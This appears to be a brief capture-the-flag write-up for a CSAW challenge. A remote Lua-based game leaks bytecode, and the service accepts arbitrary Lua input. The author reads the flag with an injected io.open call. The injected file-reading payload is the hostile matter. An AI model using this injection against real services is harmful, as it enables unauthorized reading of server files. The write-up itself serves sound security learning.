Wow, this looks like an aul-ful game. I think there is a flag around here somewhere… nc pwn.chal.csaw.io 8001
Exploit
After connecting to the server, it display some sort of game. The interesting thing is that when we type help, it will print some binary-like data.
let's play a game | 0 0 0 0 0 0 0 0 | | 0 1 0 0 0 0 4 0 | | 0 3 2 2 4 1 4 4 | | 0 3 2 3 2 3 4 3 | | 4 b 2 2 4 4 3 4 | | 3 2 4 4 1 1 2 2 | | 3 3 c d 3 3 2 3 | | 3 2 1 4 4 a 2 4 | help help LuaS�
xV(w@�,��,�,���,��,�,���,��,�,���CA�$@@C$@�&� make_boardpopulate_boardboard_tostringfallrotatecrush rotate_lefreadAllhelpquitexit run_stepgame writelinelet's play a game
According to its first few bytes Lua, I suppose it is Lua bytecode. However, when I try to decompile or execute the binary, it seems to be corrupted. This writeup has described how to fix the binary, but during the contest, I just tried entering some function name shown in the binary like game and found that the function will be called. Furthermore, I found that it can actually execute arbitrary Lua function like io.write('hi'). I then entering io.write(io.open("flag", "r"):read("*all")) to read and print the flag.